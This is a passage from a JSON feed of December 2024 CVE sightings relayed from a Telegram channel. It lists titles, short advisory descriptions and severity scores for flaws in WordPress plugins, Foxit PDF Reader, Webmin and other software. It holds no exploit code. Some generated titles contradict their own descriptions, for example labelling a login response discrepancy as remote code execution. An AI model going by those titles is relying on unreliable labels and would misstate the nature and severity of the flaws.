\"Title\": \"CVE-2024-12105 - \"WhatsUp Gold Information Disclosure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12105 \nPublished : Dec. 31, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : In WhatsUp Gold versions released before 2024.0.2, an authenticated user can use a\u00a0specially crafted HTTP request that can lead to information disclosure. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T12:52:31.000000Z"}, {"uuid": "57c9597a-80ba-41b0-bedb-e76f9f8917bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12643", "type": "seen", "source": "https://t.me/cvedetector/12970", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12643 - Chunghwa Telecom TBM-Client CSRF Absolute Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12643 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The tbm-client from Chunghwa Telecom has an Arbitrary File Delete vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection in the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains an Absolute Path Traversal vulnerability, allowing attackers to delete arbitrary files on the user's system. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:50.000000Z"}, {"uuid": "79d048af-7814-4cfc-916d-e28cbfe25183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12642", "type": "seen", "source": "https://t.me/cvedetector/12969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12642 - Chunghwa Telecom TenderDocTransfer CSRF Relative Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12642 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : TenderDocTransfer from Chunghwa Telecom has an Arbitrary File Write vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection for the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains a Relative Path Traversal vulnerability, allowing attackers to write arbitrary files to any path on the user's system. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:50.000000Z"}, {"uuid": "2452c778-fe42-48b6-9820-a0e25028cfa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12664", "type": "seen", "source": "https://t.me/cvedetector/13034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12664 - Ruifang-tech Rebuild Project Task Comment Handler Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12664 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in ruifang-tech Rebuild 3.8.5. This issue affects some unknown processing of the component Project Task Comment Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:07.000000Z"}, {"uuid": "b34b0b4f-9b25-4d9c-aa58-dfe187a91d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12661", "type": "seen", "source": "https://t.me/cvedetector/13031", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12661 - IObit Advanced SystemCare Utimate Local Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12661 \nPublished : Dec. 16, 2024, 7:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0. It has been rated as problematic. Affected by this issue is the function 0x8001E024 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T20:42:56.000000Z"}, {"uuid": "2dab0361-a135-4f35-a8f3-f4bb5e12f886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12663", "type": "seen", "source": "https://t.me/cvedetector/13030", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12663 - Funnyzpc Mee-Admin Login Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12663 \nPublished : Dec. 16, 2024, 7:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in funnyzpc Mee-Admin up to 1.6. This vulnerability affects unknown code of the file /mee/login of the component Login. The manipulation of the argument username leads to observable response discrepancy. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T20:42:55.000000Z"}, {"uuid": "60b61c85-18cc-4123-871a-9854ee5d9888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12838", "type": "seen", "source": "https://t.me/cvedetector/13969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12838 - \"CGFIDO Authentication Bypass Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12838 \nPublished : Dec. 31, 2024, 2:15 a.m. | 24\u00a0minutes ago \nDescription : The passwordless login mechanism in CGFIDO from Changing Information Technology has an Authentication Bypass vulnerability, allowing remote attackers with regular privileges to send a crafted request to switch to the identity of any user, including administrators. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T03:40:09.000000Z"}, {"uuid": "c8737fae-7f71-42d2-bce7-0fa98649bcd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12751", "type": "seen", "source": "https://t.me/cvedetector/13963", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12751 - Foxit PDF Reader AcroForm Buffer Overflow Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12751 \nPublished : Dec. 30, 2024, 9:15 p.m. | 20\u00a0minutes ago \nDescription : Foxit PDF Reader AcroForm Out-Of-Bounds Read Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PDF Reader. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the handling of AcroForms. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25344. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T22:39:23.000000Z"}, {"uuid": "6090715c-b782-49cf-8dc0-f6a2b388d384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "https://t.me/cvedetector/13958", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12753 - Foxit PDF Reader Link Following Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12753 \nPublished : Dec. 30, 2024, 9:15 p.m. | 20\u00a0minutes ago \nDescription : Foxit PDF Reader Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Foxit PDF Reader. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the product installer. By creating a junction, an attacker can abuse the installer process to create an arbitrary file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-25408. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T22:39:16.000000Z"}, {"uuid": "566adad1-cad5-4a43-808f-0dace20f8602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12752", "type": "seen", "source": "https://t.me/cvedetector/13957", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12752 - Foxit PDF Reader AcroForm Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12752 \nPublished : Dec. 30, 2024, 9:15 p.m. | 20\u00a0minutes ago \nDescription : Foxit PDF Reader AcroForm Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PDF Reader. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the handling of AcroForms. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25345. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T22:39:15.000000Z"}, {"uuid": "45d52dc8-f065-4a70-bb96-1950a347b85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://t.me/cvedetector/13946", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12834 - Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12834 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the parsing of STP files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22414. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:40.000000Z"}, {"uuid": "1347fb33-20de-4af1-9b34-c1ec22cb465e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/cvedetector/13945", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12828 - Webmin CGI Command Injection Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12828 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Webmin CGI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Webmin. Authentication is required to exploit this vulnerability.   \n  \nThe specific flaw exists within the handling of CGI requests. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-22346. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:39.000000Z"}, {"uuid": "00a7217e-56d6-47ae-9121-0c348338fdcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12293", "type": "seen", "source": "https://t.me/cvedetector/13077", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12293 - WordPress User Role Editor CSRF Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12293 \nPublished : Dec. 17, 2024, 9:15 a.m. | 33\u00a0minutes ago \nDescription : The User Role Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.64.3. This is due to missing or incorrect nonce validation on the update_roles() function. This makes it possible for unauthenticated attackers to add or remove roles for arbitrary users, including escalating their privileges to administrator, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T10:55:41.000000Z"}, {"uuid": "2e0f2fa3-a789-4c6b-857c-3deae8e670ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12219", "type": "seen", "source": "https://t.me/cvedetector/13075", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12219 - WordPress Stop Registration Spam CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12219 \nPublished : Dec. 17, 2024, 8:15 a.m. | 43\u00a0minutes ago \nDescription : The Stop Registration Spam plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.23. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T10:05:37.000000Z"}, {"uuid": "bf2a361d-8997-4a1b-a509-2d3f449985b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12220", "type": "seen", "source": "https://t.me/cvedetector/13074", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12220 - \"WooCommerce SMS CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12220 \nPublished : Dec. 17, 2024, 8:15 a.m. | 43\u00a0minutes ago \nDescription : The SMS for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T10:05:36.000000Z"}, {"uuid": "8819d948-47c0-4ed8-b760-07453311e4fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12658", "type": "seen", "source": "https://t.me/cvedetector/13026", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12658 - IObit Advanced SystemCare Utimate NULL Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-12658 \nPublished : Dec. 16, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0 and classified as problematic. This issue affects the function 0x8001E01C in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:52:45.000000Z"}, {"uuid": "88edca8f-47ff-4936-a63f-4da659c73f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12469", "type": "seen", "source": "https://t.me/cvedetector/13081", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12469 - WordPress WP BASE Booking Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12469 \nPublished : Dec. 17, 2024, 10:15 a.m. | 23\u00a0minutes ago \nDescription : The WP BASE Booking of Appointments, Services and Events plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018status\u2019 parameter in all versions up to, and including, 4.9.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T11:45:47.000000Z"}, {"uuid": "b89d9275-0a6f-4320-82a4-1d51f339c0d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12127", "type": "seen", "source": "https://t.me/cvedetector/13080", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12127 - The Learning Management System, eLearning, Course\", \n  \"Content\": \"CVE ID : CVE-2024-12127 \nPublished : Dec. 17, 2024, 10:15 a.m. | 23\u00a0minutes ago \nDescription : The Learning Management System, eLearning, Course Builder, WordPress LMS Plugin \u2013 Sikshya LMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 0.0.21 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T11:45:47.000000Z"}, {"uuid": "f81af4dc-057f-4bf1-809e-463ef109f1f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12024", "type": "seen", "source": "https://t.me/cvedetector/13079", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12024 - EventPrime \u2013 WordPress Events Calendar, Bookings and Tickets Persistent Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12024 \nPublished : Dec. 17, 2024, 10:15 a.m. | 23\u00a0minutes ago \nDescription : The EventPrime \u2013 Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the em_ticket_category_data and em_ticket_individual_data parameters in all versions up to, and including, 4.0.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrative user accesses an injected page.  \nNote: this vulnerability requires the \"Guest Submissions\" setting to be enabled. It is disabled by default. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T11:45:46.000000Z"}, {"uuid": "f25efb14-071f-4351-9cb0-40eeb9de0bfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/cvedetector/13067", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12356 - Citrix Privileged Remote Access Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12356 \nPublished : Dec. 17, 2024, 5:15 a.m. | 20\u00a0minutes ago \nDescription : A critical vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) products which can allow an unauthenticated attacker to inject commands that are run as a site user. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T06:44:55.000000Z"}, {"uuid": "5746150e-cae4-46d3-bfb2-f5e32c48cd26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12239", "type": "seen", "source": "https://t.me/cvedetector/13063", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12239 - \"Beaver Builder PowerPack Lite Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12239 \nPublished : Dec. 17, 2024, 3:15 a.m. | 37\u00a0minutes ago \nDescription : The PowerPack Lite for Beaver Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the navigate parameter in all versions up to, and including, 1.3.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrative user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T05:04:48.000000Z"}, {"uuid": "86cc0dd8-529c-436d-a596-570734bdb951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12443", "type": "seen", "source": "https://t.me/cvedetector/13050", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12443 - Zendesk HelpScout Stored Cross-Site Scripting in CRM Perks HelpDesk Plugin\", \n  \"Content\": \"CVE ID : CVE-2024-12443 \nPublished : Dec. 16, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : The CRM Perks \u2013 WordPress HelpDesk Integration \u2013 Zendesk, Freshdesk, HelpScout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'crm-perks-tickets' shortcode in all versions up to, and including, 1.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T00:53:53.000000Z"}, {"uuid": "16000005-c946-4792-8ab8-ab1d2fbf6cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12644", "type": "seen", "source": "https://t.me/cvedetector/12971", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12644 - Chunghwa Telecom Tbm-Client Arbitrary File and CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12644 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The tbm-client from Chunghwa Telecom has an Arbitrary File vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection in the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains an Absolute Path Traversal vulnerability. Attackers can copy arbitrary files on the user's system and paste them into any path, which poses a potential risk of information leakage or could consume hard drive space by copying files in large volumes. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:51.000000Z"}, {"uuid": "0a90c431-3985-407d-a060-fa4d9fc7278c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12501", "type": "seen", "source": "https://t.me/cvedetector/12933", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12501 - WordPress Simple Locator Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12501 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The Simple Locator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 2.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:09.000000Z"}, {"uuid": "f0579335-cc1c-4544-a371-7372b5717bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12459", "type": "seen", "source": "https://t.me/cvedetector/12932", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12459 - Ganohrs Toggle Shortcode Stored Cross-Site Scripting Vulnerability in WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12459 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The Ganohrs Toggle Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'toggle' shortcode in all versions up to, and including, 0.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, 